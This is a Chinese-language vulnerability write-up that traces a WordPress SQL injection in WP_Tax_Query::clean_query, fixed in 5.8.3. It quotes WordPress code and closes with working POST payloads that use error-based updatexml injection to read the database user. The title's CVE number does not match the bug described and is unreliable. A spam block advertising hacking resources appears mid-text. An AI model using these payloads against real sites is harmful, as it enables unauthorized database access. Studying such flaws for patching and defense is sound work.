网络安全：SQL 注入漏洞_cve-2021-1636

一、漏洞描述

WordPress是一个用PHP编写的免费开源内容管理系统，由于clean_query函数的校验不当，导致了可能通过插件或主题以某种方式从而触发SQL注入的情况。这已经在WordPress5.8.3中进行了修复。影响版本可以追溯到3.7.37。

二、漏洞分析

在分析整个漏洞之前，首先可以看一下如果想要触发该漏洞，漏洞代码应该是什么样子的。

new WP_Query($_POST['query_vars'])

这也就是说，传入WP_Query的参数如果可控的话，就可以利用该漏洞。接下来我们看看整个漏洞的利用调用链：

WP_Query::__construct
WP_Query::query
WP_Query::get_posts
WP_Tax_Query::get_sql
WP_Tax_Query::get_sql_clauses
WP_Tax_Query::get_sql_for_query
WP_Tax_Query::get_sql_for_clause
WP_Tax_Query::clean_query

根据官方的修复代码，最后的漏洞点位于WP_Tax_Query的clean_query方法：

【一>所有资源获取<一】
1、网络安全学习路线
2、电子书籍（白帽子）
3、安全大厂内部视频
4、100份src文档
5、常见安全面试题
6、ctf大赛经典题目解析
7、全套工具包
8、应急响应笔记

根据漏洞的描述，我们知道的是WP_Tax_Query::clean_query函数对变量没有做严格的校验，最终导致了SQL语句的拼接，进而导致了SQL注入漏洞。

通过上下文的分析，我们将注意放置在WP_Tax_Query::get_sql_for_clause这个函数上面，这也是整个漏洞利用调用链中的一个函数；在这个函数中，使用到了clean_query方法对传入的参数进行了校验过滤处理：

继续查看该方法下面的代码，我们可以知道items变量最终拼接到了SQL语句中。

该漏洞最终需要利用的就是这个items变量，如果能够控制这个变量的值的话，就可以导致注入。

知道了漏洞点的位置，现在我们正向去分析一下。首先我们知道漏洞代码是这个样子的：

new WP_Query($_POST['query_vars'])

跟进到WP_Query对象的构造方法，知道其调用了query方法。在WP_Query::query中，调用了wp_parse_args函数对输入的字符串进行了处理：

function wp_parse_args( $args, $defaults = array() ) {
if ( is_object( $args ) ) {
$parsed_args = get_object_vars( $args );
} elseif ( is_array( $args ) ) {
$parsed_args =& $args;
} else {
wp_parse_str( $args, $parsed_args );
}

if ( is_array( $defaults ) && $defaults ) {
return array_merge( $defaults, $parsed_args );
}
return $parsed_args;
}

这里主要关注前面两个点，一个是如果传入的是一个对象的话，将其属性名和值取出来转变成数组；如果直接传入的是数组的话，也就是直接返回了。这里也就确定$this->query_vars和$this->query变量可控了。

接下来调用get_posts方法，该方法的代码比较长，我们直接定位到利用链函数：

变量$this->is_singular初始化之后为false，所以这里的if语句是会执行的，而下面的$this->parse_tax_query($q)语句，跟进去，其实就是给变量$this->tax_query赋值，其值为WP_Tax_Query类对应的对象，同时利用传入的$q变量，对该对象进行了一些初始化。这里关键就是$q变量，我们向上追溯，查看一下该变量的生成过程：

$q = &$this->query_vars;

$q = $this->fill_query_vars( $q );

首先$q变量获取$this->query_vars，通过上面的分析，我们知道这个变量是可控的，也就是我们通过POST传入的参数值。接下来调用fill_query_vars方法，跟进去会发现这个函数就是向$q这个数组里面添加了一些key值。我们可以传入一个数组，然后var_dump出来看看：

接下来进入$this->parse_tax_query($q)这个函数看看。该函数就是通过传入的$q数组，然后赋值给$tax_query变量，然后利用该变量去初始化对象$this->tax_query = new WP_Tax_Query( $tax_query );，在parse_tax_query函数中，我们需要给$tax_query变量赋值，就需要传入的数组中带有tax_query这个关键词即可。我们跟进到这个类的构造函数去看看：（简单说明就是经过处理的$q变量的值作为了WP_Tax_Query对象的构造函数的参数值）

可以看到$this->queries变量的值是由$tax_query赋值得到的，只不过这里做了一些过滤，即调用了sanitize_query函数进行了处理。

到这里，我们就进入到了WP_Tax_Query类，并且我们可以控制传入这个类的构造函数的参数值。接下来看看这个构造函数中对传入的参数值做了哪些处理，也就是这个sanitize_query函数：（这里只截取关键部分了）

elseif ( self::is_first_order_clause( $query ) ) {
$cleaned_clause         = array_merge( $defaults, $query );
$cleaned_clause['terms'] = (array) $cleaned_clause['terms'];
$cleaned_query[]         = $cleaned_clause;
if ( ! empty( $cleaned_clause['taxonomy'] ) && 'NOT IN' !== $cleaned_clause['operator'] ) {
$taxonomy = $cleaned_clause['taxonomy'];
if ( ! isset( $this->queried_terms[ $taxonomy ] ) ) {
$this->queried_terms[ $taxonomy ] = array();
}
if ( ! empty( $cleaned_clause['terms'] ) && ! isset( $this->queried_terms[ $taxonomy ]['terms'] ) ) {
$this->queried_terms[ $taxonomy ]['terms'] = $cleaned_clause['terms'];
}

if ( ! empty( $cleaned_clause['field'] ) && ! isset( $this->queried_terms[ $taxonomy ]['field'] ) ) {
$this->queried_terms[ $taxonomy ]['field'] = $cleaned_clause['field'];
}
}
}

我们要进入到这个if语句，就需要通过is_first_order_clause函数：

protected static function is_first_order_clause( $query ) {
return is_array( $query ) && ( empty( $query ) || array_key_exists( 'terms', $query ) || array_key_exists( 'taxonomy', $query ) || array_key_exists( 'include_children', $query ) || array_key_exists( 'field', $query ) || array_key_exists( 'operator', $query ) );
}

这个函数比较简单，就是需要传入的数据通过foreach迭代之后，仍然是一个数组，也就是传入的需要是一个二维数组，并且需要携带一些key值。（加上前面的需要传入tax_query关键词，到这里就需要传入的是一个三维数组）

由于我们要控制terms的值，所以传入的terms也要是一个数组，也就是说如果要控制terms值，需要传入一个四维数组，例如如下POST数据：

query_vars[tax_query][1][include_children]=1&query_vars[tax_query][1][terms][1]=AND

我们在这里先分析一下这个POST的数据。首先需要一个tax_query，是为了能给$tax_query变量赋值，然后我这里加了一个1是为了构造多维数组，这样传入进去之后，到上面这个foreach取出来之后，就是一个数组，从而构造了$this->queries，并且由于我们需要控制terms值，$cleaned_clause['terms'] = (array) $cleaned_clause['terms'];表名我们需要传入一个数组来进行merge函数的拼接从而覆盖。传入以上数据之后，$this->queries的值为：

Array
(
[1] => Array
(
[include_children] => 1
[terms] => Array
(
[1] => AND
)
)

)

以上分析都是在初始化WP_Tax_Query这个对象。接下来继续向下分析，开始调用WP_Tax_Query::get_sql方法，然后调用了WP_Tax_Query::get_sql_clauses方法：

之后将$this->queries变量的值传入get_sql_for_query函数，我们继续跟进一下这个函数：

如果我们想要调用get_sql_for_clause方法的话，就需要对传入的数据进行一个控制，这里的关键在于is_array($clause)语句，也就是说，我们通过构造以后，这里需要传入一个二维数组，进而能够执行到这个条件里面并且需要满足is_first_order_clause函数，因此我们按照上面的构造方式是可以执行到这里的，并且这里的$clause的值为：

array(5) {
["taxonomy"]=>
string(0) ""
["terms"]=>
array(1) {
[1]=>
string(3) "AND"
}
["field"]=>
string(7) "term_id"
["operator"]=>
string(2) "IN"
["include_children"]=>
string(1) "1"
}

接下来就进入了get_sql_for_clause函数，也就是我们最终拼接SQL语句的地方，但在拼接之前，我们需要绕过clean_query函数，我们跟进这个函数看看：

这里为了不让他异常退出，我们需要添加一个field字段，让其值等于term_taxonomy_id即可，构造语句为：

action=aa&query_vars[tax_query][1][include_children]=1&query_vars[tax_query][1][terms][1]=AND&query_vars[tax_query][1][field]=term_taxonomy_id

并且在函数的最后，调用了$this->transform_query( $query, 'term_taxonomy_id' );，我们跟进去，正好判定field的值，从而return，跳过了后面的执行操作：

接下来就是SQL语句的拼接了，根据我们构造的operator的不同值，没有构造的话就是IN了，进行不同的拼接操作，这里是IN，我们进入到这个if语句：

我们在terms处构造报错注入代码即可：

action=aa&query_vars[tax_query][1][include_children]=1&query_vars[tax_query][1][terms][1]=AND&query_vars[tax_query][1][field]=term_taxonomy_id

前面的分析都是介绍如何一步一步执行到get_sql_for_clause这个函数，并且介绍了传入这个函数的变量是如何控制的。接下来就是该漏洞点主要的部分。

在get_sql_for_clause这个函数中，调用了clean_query方法对我们构造的数据进行了一个清洗，然后取出其中的terms值，带入了SQL拼接语句中，payload如下：

query_vars[tax_query][1][include_children]=1&query_vars[tax_query][1][terms][1]=1) or updatexml(0x7e,concat(1,user()),0x7e)#&query_vars[tax_query][1][field]=term_taxonomy_id

三、漏洞复现

我这里将new WP_Query($_POST['query_vars'])语句放置到wp-admin\admin-ajax.php中：（在实际场景下，只要该处输入可控，即可造成SQL注入漏洞）

复现的时候开启一下debug即可看见报错注入（也可以进行盲注了）；最后的构造语句为：（这里加上action参数是为了执行到目标代码）

action=aa&query_vars[tax_query][1][include_children]=1&query_vars[tax_query][1][terms][1]=1) or updatexml(0x7e,concat(1,user()),0x7e)#&query_vars[tax_query][1][field]=term_taxonomy_id